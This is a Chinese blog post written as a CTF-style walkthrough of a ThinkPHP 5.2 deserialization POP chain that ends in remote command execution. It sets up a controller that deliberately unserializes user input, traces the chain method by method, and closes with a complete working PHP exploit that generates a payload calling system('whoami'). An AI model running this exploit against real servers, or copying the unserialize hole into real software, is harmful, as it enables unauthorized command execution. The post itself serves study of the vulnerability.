ThinkPHP5.2反序列化POP链分析

ThinkPHP5.2反序列化POP链分析

2026年04月05日·28 分钟阅读·154 次阅读·1 点赞·1 条评论

在前两篇文章中,我们铺垫了 php 反序列化漏洞的基础知识,包含各类魔术方法,简单 POP 链,还有 phar 伪协议的反序列化利用。那么这篇文章中我们将从一道基于 Thinkphp 5.2 的 CTF 题目入手,分析在真实环境中的 POP 利用链以及利用手段。

环境搭建

先下载题目文件:SuperDemon921/ThinkPHP5.2-unserialize: 基于 Thinkphp 5.2 的反序列化漏洞

随后编辑本地 nginx 配置文件,添加一个虚拟主机:

server {
        listen        80;
        server_name tp52.com www.tp52.com;
        root   "D:/phpstudy_pro/WWW/tp52/public";
        location / {
            index index.php index.html;
            if (!-e $request_filename) {
         rewrite ^(.*)$ /index.php?s=$1 last;
            }
            error_page 400 /error/400.html;
            error_page 403 /error/403.html;
            error_page 404 /error/404.html;
            error_page 500 /error/500.html;
            error_page 501 /error/501.html;
            error_page 502 /error/502.html;
            error_page 503 /error/503.html;
            error_page 504 /error/504.html;
            error_page 505 /error/505.html;
            error_page 506 /error/506.html;
            error_page 507 /error/507.html;
            error_page 509 /error/509.html;
            error_page 510 /error/510.html;
            autoindex  off;
        }
        location ~ \.php(.*)$ {
            fastcgi_pass   127.0.0.1:9002;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }
}

记得重启 nginx

随后修改本地 hosts 文件,添加如下条目:

127.0.0.1 www.tp52.com
127.0.0.1 tp52.com

在浏览器访问 http://tp52.com,出现一个白屏,环境配置完成

clipboard_1775376473726.png

因为我们主要分析 Thinkphp 5.2 的 POP 链条,题目并不重要,所以题目的首页我们替换了,为了方便一会直接测试

<?php
namespace app\controller;

class Index
{
    public function index($input='')
    {   
        echo $input;
        unserialize($input);   
    }
}

前置知识

trait与class的区别

首先要知道trait这个概念,它与常见的 class 有什么区别?

class(类) 是一个完整的蓝图,可以实例化成对象。类之间通过 extends 实现继承,但 PHP 是单继承的, 一个类只能继承一个父类。

trait 不是类,不能实例化,不能被继承。它是一种代码复用机制,本质上就是一段"可以被粘贴到类里面"的代码片段。一个类可以 use 多个 trait,相当于把 trait 里的属性和方法"复制粘贴"进自己体内。

用一句话概括:trait 解决的是 PHP 单继承限制下的横向代码复用问题。

例如这段代码,一会儿会分析到:

abstract class Model implements JsonSerializable, ArrayAccess
{
    use model\concern\Attribute;      // trait:提供 $data, $withAttr, getAttr(), getValue()
    use model\concern\RelationShip;   // trait:提供 $relation
    use model\concern\ModelEvent;     // trait:提供事件相关
    use model\concern\TimeStamp;      // trait:提供时间戳相关
    use model\concern\Conversion;     // trait:提供 $visible, toArray(), __toString()
}

在 Model 这个类中,同时拥有了 5 个 trait 的全部能力。如果没有 trait,这些功能要么全部写在 Model 类里(臃肿),要么靠多层继承(PHP 不支持多继承)。

use 之后的效果就好像把 trait 里的代码直接"粘贴"进了 Model 类。所以 Model 的对象可以直接调用这些trait中的所有属性和方法,就好像这些属性和方法本来就写在 Model 里一样。

POP链分析

Windows::__destruct

vendor\topthink\framework\src\think\process\pipes\Windows.php 中存在__destruct 方法,这将是我们的反序列化入口。

当 Windows 类销毁时,便自动调用 removeFiles,并进入 if 判断,使用 file_exits 来判断 $this->files 是否存在,而这个 $files 我们可控。

所以file_exists() 期望接收字符串参数,当 $filename 是一个对象时,PHP 自动调用该对象的 __toString() 将其转为字符串。那我们就要找一个 __toString 方法

// 属性定义
private $files = []; // ← 反序列化时可控
 
public function __destruct() {
  $this->close();
  $this->removeFiles(); // ← 进入
}
 
private function removeFiles() {
  foreach ($this->files as $filename) {
    if (file_exists($filename)) { // ← 触发点
      @unlink($filename);
    }
  }
}

__toString() → toJson() → toArray()

来到 think\model\concern\Conversion ,这是一个 trait ,意味着他会被别的类 use (Model类) 。

在这个 trait 中,存在我们要的 __toString 方法,里面又调用 toJson ,toJson中又调用 toArray

public function __toString() {
  return $this->toJson();
}
 
......
 
public function toJson(...): string {
  return json_encode($this->toArray(), $options);
}
 

这里先不往下跟进 toArray。


值得一提的是,trait 本身不能被实例化,所以单独看 Conversion 这个 trait,它的 __toString() 永远不会被"直接"触发。那么该如何触发?

必须通过一个 use 了这个 trait 的具体类的对象来触发,而 think\Model.php 就是

clipboard_1775296466749.png

但 Model 是 abstract,不能实例化。

abstract 意味着这个类只是一个"设计规范",不能直接 new Model()。PHP 会报错:

Fatal error: Cannot instantiate abstract class think\Model

所以必须找一个继承 Model 的具体子类。在 ThinkPHP 5.2 框架源码里,think\model\Pivot.php就是那个具体子类。

clipboard_1775296695396.png

三者之间的层级关系如下:

trait Conversion {
    public function __toString() { ... }    // 定义了 __toString
}
 
abstract class Model {
    use Conversion;    // Model "粘贴"了 Conversion 的代码
    // 现在 Model 拥有了 __toString(),但 Model 是 abstract,不能实例化
}
 
class Pivot extends Model {
    // Pivot 继承 Model → 间接拥有了 __toString()
    // Pivot 是具体类 → 可以实例化!
}

所以当 Windows类中的 file_exists() 接收到一个 Pivot 对象 时,PHP 调用的是 Pivot 对象上的 __toString(),而这个方法的代码实际来自 Conversion trait。Pivot 本身没有写 __toString(),Model 也没有写,但因为 Model use 了 Conversion,Pivot 继承了 Model,所以 Pivot 对象"拥有"了这个方法。

所以说,在入口的 __destruct 中,就要构造$files = [Pivot 对象],从而让 Pivot 对象被传入file_exists(),最终触发到 trait Conversion 中的 __toString

toArray() →getAttr()

依旧是在刚才的 trait Conversion 中的 toArray方法,是由 __toString 一路调用过来的。

在 toArray() 中,我们的目标是走到 getAttr 方法中,先解释一下为什么

clipboard_1775299848339.png

因为 getAttr 内部会调用 getValue,而 getValue 里有一行 $closure($value, $this->data) , 这是一个动态函数调用,当 $closure$value 都可控时就能执行任意函数

toArray() 的 foreach 三个分支中,只有后两个分支会调用 getAttr。第一个分支($val instanceof Model)会走向递归 toArray(),对我们没用。所以必须让 $val 是普通字符串来跳过第一个分支,同时让条件满足来走进调用 getAttr 的分支。


那么我们来分析一下这个 toArray() 方法,首先我们要知道,抽象 Model 类中use了非常多 trait ,其中包含这些:

clipboard_1775310121096.png

而 class Pivot 又继承 Model 。也就是说,对于 Pivot 来说,这些 trait 中的属性,方法都是可以直接调用的

clipboard_1775310222996.png

所以我们可以自行对以下变量赋值:

Attribute trait (private)
$data = ["paper" => "whoami"]
$withAttr = ["paper" => "system"]
$strict = true
Conversion trait (protected) / RelationShip trait (private)
$visible = []
$hidden = []
$relation = []

进入 toArray 方法,初始化。$item 是最终输出数组。$hasVisible 标记"是否显示指定字段",初始为 false。

$hasVisible = false

clipboard_1775313325147.png

进入第一个 foreach ,遍历 $this->visible 数组,因为我们构造时设 $visible = [](空数组),循环体一次也不执行。$hasVisible 始终保持 false。这很关键!后面会用到。

$this->visible = []

$hasVisible = false (没变)

clipboard_1775313534973.png

同理,第二个 foreach 遍历 $this->hidden,依旧是空数组(我们提前定义好的),跳过

clipboard_1775313866478.png

来到合并关联数据,$data 是一个局部变量(注意没有 $this->),它由两个对象属性合并而来。$this->data 定义在 Attribute trait 中,$this->relation 定义在 RelationShip trait 中。因为 Pivot 对象 use 了这两个 trait,所以 $this 上同时拥有这两个属性。relation 为空数组,合并后 $data 就等于 $this->data

$this->data = ["paper"=>"whoami"]

$this->relation = []

$data (局部) = ["paper"=>"whoami"]

clipboard_1775314046432.png

随后 foreach 开始遍历 $data。foreach 每次迭代会把当前元素的键名赋给 $key、键值赋给 $val$data 只有一个元素 "paper"=>"whoami",所以只循环一次。

$key = "paper"

$val = "whoami"

clipboard_1775314194466.png

进入第一个if 分支:检查 $val 是否是 Model 或 ModelCollection 的实例。$val 是字符串 "whoami",不是任何对象 → 条件为 false,跳过。如果 $val 是一个 Model 对象就会递归调用 toArray(),这不是我们想要的路径。这就是为什么 $this->data 的值必须是普通字符串而不能是 Model 对象。

$val = "whoami"

instanceof Model? = false

clipboard_1775314358783.png

再往下进入第二个 elseif 分支,检查 $key 是否在 $visible 数组中。$this->visible 被我们构造为空数组 [],所以 isset($this->visible["paper"]) 一定是 false → 跳过。这个分支本身也能触发 getAttr,但我们不走这条路。

$key = "paper"

$this->visible["paper"] = 不存在

clipboard_1775314538166.png

进入第三个分支:两个条件都要满足。

(1) $key 不在 $hidden 数组中 — $hidden 是我们人为定义的空数组,所以一定不在,true。

(2) $hasVisible 为 false — 因为第二步中 $visible 是空数组,循环没执行,$hasVisible 没被设为 true,所以 !false = true。两个 true 取 && → 进入此分支!

!isset(hidden["paper"]) = true!

$hasVisible = true

条件 = true && true = true

clipboard_1775314782198.png

终于进入第三个分支,调用 $this->getAttr($key),也就是 getAttr("paper")。$key 这个变量从 foreach 循环开始,一路传到这里,成为 getAttr 的参数 $name。getAttr 定义在 Attribute trait 中,是整条 POP 链的下一个关键环节。

$key → $name = "paper"

调用目标 = Attribute::getAttr("paper")

clipboard_1775315054907.png

getAttr() → getData() →getValue() → RCE

由上面的 toArray 方法调用到 trait Attribute 中的getAttr(),并传入"paper" 作为 $name 的参数

进入 getAttr 方法。这个方法的任务是:先用 getData 取出 $name 对应的原始值,再用 getValue 对值做进一步处理。

$name = "paper"

$this->data = ["paper" => "whoami"]

$this->withAttr = ["paper" => "system"]

$this->strict = true

$this->type = []

$this->relation = []

clipboard_1775354260754.png

try 块内:先设 $relation = false(假设不是关联属性)。然后调用 $this->getData($name),把 $name = "paper" 传进去,返回值赋给 $value。如果 getData 抛出异常,就 catch 把 $relation 改为 true、$value 改为 null。现在进入 getData 看看。

clipboard_1775356198200.png

进入 getData 方法。形参 $name 接收到 getAttr 传来的 "paper"。第一个 if 检查 $name 是否为 null — 不是 null,跳过。接下来调用 getRealFieldName。

clipboard_1775356285575.png

getRealFieldName 的作用是:如果 strict 模式开启(默认 true),就原样返回字段名;否则转为蛇形命名。$this->strict 是 Attribute trait 中定义的属性,默认值就是 true。所以直接返回 $name = "paper",不做任何转换。

$name="paper"

$this->strict=true

返回值="paper"

clipboard_1775356404871.png

getRealFieldName 返回了 "paper",赋给局部变量 $fieldName。然后检查 $this->data 数组中是否存在键名 "paper"

$this->data = ["paper" => "whoami"],当然存在!所以直接 return $this->data["paper"],也就是返回字符串 "whoami"。这个返回值会回到 getAttr 中,赋给 $value

$fieldName="paper"

$this->data["paper"]="whoami"

返回值="whoami"

clipboard_1775356590722.png

getData 成功返回了 "whoami",没有抛出异常。所以 $value = "whoami"$relation 保持 false。如果 getData 找不到 "paper" 这个键(比如 $data 里没有这个键名),就会 throw InvalidArgumentException,被 catch 捕获后 $relation = true$value = null。但我们构造的 $data 里有 "paper" 键,所以不会走 catch。接下来调用 getValue。

$name="paper" $value="whoami" $relation=false

clipboard_1775356855680.png

进入 getValue!三个形参分别接收:$name = "paper"(从 getAttr 原样传入),$value = "whoami"(getData 的返回值),$relation = false。这是整条链的最关键方法,漏洞触发点就在这里面。

$name="paper" ← getAttr.

$name$value="whoami" ← getData 返回值

$relation=false ← getAttr.$relation

clipboard_1775356977010.png

第一行:又调了一次 getRealFieldName($name),和 getData 里那次一样。strict=true → 原样返回 "paper",赋给局部变量 $fieldName。这个 $fieldName 马上要被用来查 $this->withAttr 数组。

$name="paper" $fieldName="paper" ← getRealFieldName 返回

clipboard_1775357079146.png

第二行:拼接一个方法名 $method = "getPaperAttr"。这是 ThinkPHP 的"获取器"机制

如果模型类里定义了 getPaperAttr 方法,就用它来处理值。但 Pivot 类里没有定义这个方法,所以后面 method_exists 检查会返回 false。不过没关系,代码会先检查 $this->withAttr,我们的利用点在那里。

$method="getPaperAttr" Pivot 中存在?=不存在

clipboard_1775357171613.png

关键分支!检查 $this->withAttr 中是否存在键名为 $fieldName 的元素。

$this->withAttr = ["paper" => "system"]$fieldName = "paper" → isset 返回 true,进入分支。

$this->withAttr 是 Attribute trait 的 private 属性,正常由 withAttribute() 方法设置闭包,但反序列化时直接可控。

$this->withAttr=["paper"=>"system"] $fieldName="paper" isset?=true

clipboard_1775357353315.png

先跳过 $relation 判断(false 不进入)。然后从 $this->withAttr[$fieldName] 取出值赋给 $closure$this->withAttr["paper"] = "system"$closure = "system"

正常情况下这里应该是一个闭包(Closure 对象),但我们构造成了字符串 "system"。PHP 中字符串也是合法的 callable , 只要字符串是一个已定义函数的名称。

$closure="system" ← withAttr["paper"] $relation=false → 跳过

clipboard_1775357627804.png

最终触发点!$closure($value, $this->data) 这行代码做了动态函数调用。$closure 是字符串 "system",PHP 把它当作函数名调用。第一个参数 $value = "whoami" 是要执行的命令,第二个参数 $this->data 是整个 data 数组。

system() 函数的第二个参数本应是&$return_var(用于接收返回码),传入数组虽然类型不匹配但不影响命令执行。

$closure="system"

$value (第 1 参数)="whoami"

$this->data (第 2 参数)=["paper"=>"whoami"]

clipboard_1775357824146.png

至此,POP链分析完毕

POP链总结

下面我让 Claude Opus 4.6 总结了整个POP链,非常详尽,以长图形式给大家展现:

clipboard_1775360625337.png

为什么用Pivot承载所有trait

// Conversion trait → 提供 __toString, toArray
// Attribute trait → 提供 $data, $withAttr, getAttr, getData, getValue
// RelationShip trait → 提供 $relation
 
abstract class Model {
  use Attribute;     // $data, $withAttr, $strict, getAttr(), getValue()
  use RelationShip;  // $relation
  use Conversion;   // $visible, $hidden, __toString(), toArray()
  use ModelEvent;
  use TimeStamp;
 
  public function __construct(array $data = []) {
    $this->data = $data; // 构造时赋值 $data
  }
}
 
class Pivot extends Model { // 具体子类,可实例化
  public function __construct(array $data = [], ...) {
    parent::__construct($data); // 调用 Model 构造
  }
}

trait 不能实例化 → abstract class Model 组装 trait 但也不能实例化 → Pivot 是 Model 的具体子类 → 反序列化还原的就是 Pivot 对象。Pivot 对象的 $this 上同时拥有所有 trait 的属性。

巧妙之处一:"paper"串联两个数组的桥梁key

$this->data中,paper存的是命令参数:

["paper" => "whoami"]

$this->withAttr 中存的是函数名:

["paper" => "system"]

"paper"这个key的旅程如下:

toArray: foreach $key = "paper"
 传入 getAttr
getAttr: $name = "paper"
 传入 getData
getData: $fieldName = getRealFieldName("paper") = "paper"
 $this->data["paper"]  取出 "whoami" (命令参数)
 返回后传入 getValue
getValue: $fieldName = getRealFieldName("paper") = "paper"
 $this->withAttr["paper"]  取出 "system" (函数名)
 "system"("whoami") 

同一个 key "paper" 在执行流中被使用了两次:先用来从 $data 取出命令参数,再用来从 $withAttr 取出函数名。两次取值在不同方法中发生(getData 和 getValue),但使用的 key 是同一个变量一路传递下来的。key 的名字可以是任何字符串,唯一要求是 data 和 withAttr 中的键名必须一致。

巧妙之处二:file_exists() 作为__toString 的触发器

这个选择非常讲究。PHP 里能触发 __toString() 的函数有很多(echoprint、字符串拼接等),但在析构函数里自然存在的、接收对象后会隐式转字符串的函数其实不多。file_exists() 恰好满足两个条件:它在 removeFiles() 中自然存在(这不是攻击者插入的代码,而是原始业务逻辑),并且它接收参数后会触发 __toString

更巧的是,file_exists() 触发 __toString 后,即使转换出来的字符串不是合法路径,它只是返回 false,不会抛出致命异常终止程序。如果换成其他函数(比如 fopen),转换失败可能导致整条链中断。

巧妙之处三:$closure($value, $this->data) 中字符串被当作函数调用

这是整条链最核心的漏洞根因。getValue() 中这一行:

$closure = $this->withAttr[$fieldName];
$value   = $closure($value, $this->data);

开发者的原始意图是 $closure 应该是一个 Closure(闭包对象),通过 withAttribute() 方法传入。但代码没有做类型检查,没有 if ($closure instanceof Closure)is_callable() 的验证。PHP 的动态类型特性让字符串 "system" 也能作为 callable 被调用。

对比一下正常用法和攻击用法:

// 开发者期望的用法(正常业务)
$model->withAttribute('name', function($value) {
    return strtoupper($value);  // 闭包,安全的
});
 
// 攻击者的利用(反序列化注入)
$this->withAttr = ["paper" => "system"];  // 字符串,PHP 也能调用

如果这里加了一行 if (!($closure instanceof \Closure)) return;,整条链就彻底断了。

巧妙之处四:__destruct中 close() 在 removeFiles() 之前但不会阻断链

__destruct 的代码:

public function __destruct()
{
    $this->close();       // 先执行这个
    $this->removeFiles(); // 再执行这个
}

close() 会调用 parent::close() 关闭 $this->pipes,然后遍历 $this->fileHandles 调用 fclose()。反序列化时 $this->pipes 默认是空数组,$this->fileHandles 也是空数组 — 所以 close() 内部的 foreach 循环体根本不执行,没有任何副作用,静默通过

这是一个容易被忽略的"隐形门槛"。如果 close() 中有任何一步抛出异常或触发 exitremoveFiles() 就永远执行不到,整条链就废了。攻击者不需要特意构造什么来绕过 close() ,反序列化还原出来的默认属性值恰好让 close() 什么都不做。这种"默认值恰好无害"的巧合,是 POP 链能成功的一个隐性前提。

EXP

<?php
// =====================================================================
// 第一步:定义 Windows 类 —— 整条链的入口
// =====================================================================
// 反序列化时 PHP 自动调用 __destruct()
// __destruct() → removeFiles() → file_exists($filename)
// 当 $filename 是对象时,file_exists 会触发该对象的 __toString()
// 
// 所以我们把 $files 数组里塞一个 Pivot 对象,
// 就能在析构时触发 Pivot 的 __toString()
// =====================================================================
namespace think\process\pipes {
    class Windows{
        private $files = [];          // 反序列化时直接还原,完全可控
 
        function __construct($files)
        {
            $this->files = $files;    // 传入 [Pivot对象]
        }
    }
}
 
 
// =====================================================================
// 第二步:定义三个 trait —— 声明需要控制的属性
// =====================================================================
// trait 不能实例化,这里只是为了让 PHP 序列化时
// 能正确生成带有这些 private/protected 属性的序列化字符串
// 
// 这三个 trait 最终都会被 Model 类 use,
// 反序列化后它们的属性都挂在同一个 Pivot 对象的 $this 上
// =====================================================================
namespace think\model\concern {
 
    // Conversion trait:提供 __toString() → toJson() → toArray()
    // $visible 控制 toArray() 中的分支走向
    // 设为空数组 → $hasVisible=false → 所有 key 都走进 getAttr()
    trait Conversion{
        protected $visible;
    }
 
    // RelationShip trait:提供 $relation
    // toArray() 中会 array_merge($this->data, $this->relation)
    // 设为空数组,避免引入多余的 key 干扰遍历
    trait RelationShip{
        private $relation;
    }
 
    // Attribute trait:提供 getAttr()、getData()、getValue() 方法
    // 以及两个关键属性:
    //   $data     —— 键值作为命令参数("whoami")
    //   $withAttr —— 键值作为函数名("system")
    // 两个数组用同一个 key("paper")串联
    trait Attribute{
        private $withAttr;    // ["paper" => "system"]  → 取出函数名
        private $data;        // ["paper" => "whoami"]  → 取出命令参数
    }
}
 
 
// =====================================================================
// 第三步:定义 Model 抽象类 —— 组装三个 trait
// =====================================================================
// Model use 了上面三个 trait,所以拥有了:
//   - $data, $withAttr(来自 Attribute)
//   - $relation(来自 RelationShip)
//   - $visible, __toString(), toArray()(来自 Conversion)
// 
// Model 是 abstract 的,不能直接实例化,
// 所以需要通过子类 Pivot 来承载序列化数据
// =====================================================================
namespace think {
    abstract class Model{
        use model\concern\RelationShip;
        use model\concern\Conversion;
        use model\concern\Attribute;
 
        function __construct($closure)
        {
            // $data: key 是桥梁("paper"),value 是要执行的命令
            $this->data = $closure;
 
            // 以下三个属性设为空数组,确保 toArray() 中:
            // 1. array_merge 不引入额外 key
            // 2. $hasVisible = false,让所有 key 都走进 getAttr
            $this->relation = [];
            $this->visible = [];
 
            // $withAttr: 同一个桥梁 key("paper"),value 是要调用的函数名
            // getValue() 中会执行:$this->withAttr["paper"]("whoami", $this->data)
            // 即:system("whoami")
            $this->withAttr = array("paper" => 'system');
        }
    }
}
 
 
// =====================================================================
// 第四步:定义 Pivot 类 —— Model 的具体子类,可以被序列化
// =====================================================================
// Pivot 是 ThinkPHP 框架中 Model 的内置子类
// 它的构造函数调用 parent::__construct(),把数据传给 Model
// =====================================================================
namespace think\model {
    class Pivot extends \think\Model{
        function __construct($closure)
        {
            parent::__construct($closure);
        }
    }
}
 
 
// =====================================================================
// 第五步:生成 payload
// =====================================================================
namespace{
    // 构造 Pivot 对象
    // data["paper"] = "whoami" → 最终作为 system() 的第一个参数
    // withAttr["paper"] = "system" → 在 Model 构造函数中设置
    // 
    // "paper" 这个 key 名字可以换成任意字符串,
    // 唯一要求是 $data 和 $withAttr 中的键名必须一致,
    // 因为 getValue() 中用同一个 $fieldName 同时索引这两个数组
    $pivot = new think\model\Pivot(['paper' => 'whoami']);
 
    // 构造 Windows 对象,把 Pivot 塞进 $files 数组
    // 反序列化时:__destruct → removeFiles → file_exists(Pivot) → __toString
    $windows = new think\process\pipes\Windows([$pivot]);
 
    // 序列化 + URL 编码,输出 payload
    echo urlencode(serialize($windows));
}
 

我们在本地生成payload,随后通过 get 传入,可以看到成功了

clipboard_1775376680560.png

总结

这是我第一次完整地、逐行地跟完一条框架级别的 POP 链,分析时断断续续地,总共花了我3天时间。说实话,之前看反序列化的文章,总觉得"链"这个字很抽象 — 知道大概是一个方法跳到另一个方法,但具体怎么跳的、参数怎么传的、为什么偏偏选这个类不选那个类,心里一直是模糊的。

这次把 ThinkPHP 5.2 的源码一个文件一个文件地翻开,从 Windows::__destruct() 出发,一路追到 Attribute::getValue() 里那行 $closure($value, $this->data),才真正体会到所谓"链"的含义:它不是攻击者凭空写的代码,而是框架自己的业务逻辑,只不过每一环恰好都能被攻击者控制输入,串起来就变成了一条通往 RCE 的路。

整个过程中让我印象最深的有几点。一是 PHP 语言层面的灵活, 字符串可以当函数调用、file_exists 接收对象不报错而是静默触发类型转换,这些特性单独看都合理,组合起来就成了漏洞的温床。二是 trait 这个机制,分析链的时候不得不在 Conversion、Attribute、RelationShip 三个 trait 之间反复横跳,搞清楚哪个属性定义在哪个 trait 里、它们怎么通过 Model 的 use 汇聚到同一个 $this 上,这个过程本身就是对 PHP 面向对象机制的一次深度复习。三是构造 EXP 时,有种"对暗号"的感觉 ,$data$withAttr 必须用同一个 key,才能让 getValue() 里同一个 $fieldName 同时取到函数名和参数,这种设计既简洁又精妙。

回头看,POP 链的审计本质上就是在做两件事:找到一个起点(可控的反序列化入口 + 有 __destruct__wakeup 的类),然后从起点出发,沿着方法调用一步步往下走,在每个分岔路口判断"哪条路的参数是可控的、哪条路会走进死胡同"。这个过程需要耐心,也需要对框架代码结构的熟悉。没有捷径,就是一行一行读源码。

这条链虽然是 ThinkPHP 5.2 特有的,但分析它的方法论是通用的 ,怎么说呢,收获颇丰,后续我还会再分析类似框架的POP链,但应该不会如此吃力了,也不会再写得这么详细了。(哈哈其实我也知道,根本就没人看我的文章)

IMG_20260405_163233.jpg

©

版权声明:本文采用 CC BY-NC-SA 4.0 协议授权,转载请注明出处并保留原始链接。

原文链接:https://www.jerrygao.cn//blog/thinkphp52E58F8DE5BA8FE58897E58C96popE993BEE58886E69E90

评论 1

尐菟姫河北省-石家庄市Android小米浏览器13 天前

我爱你喵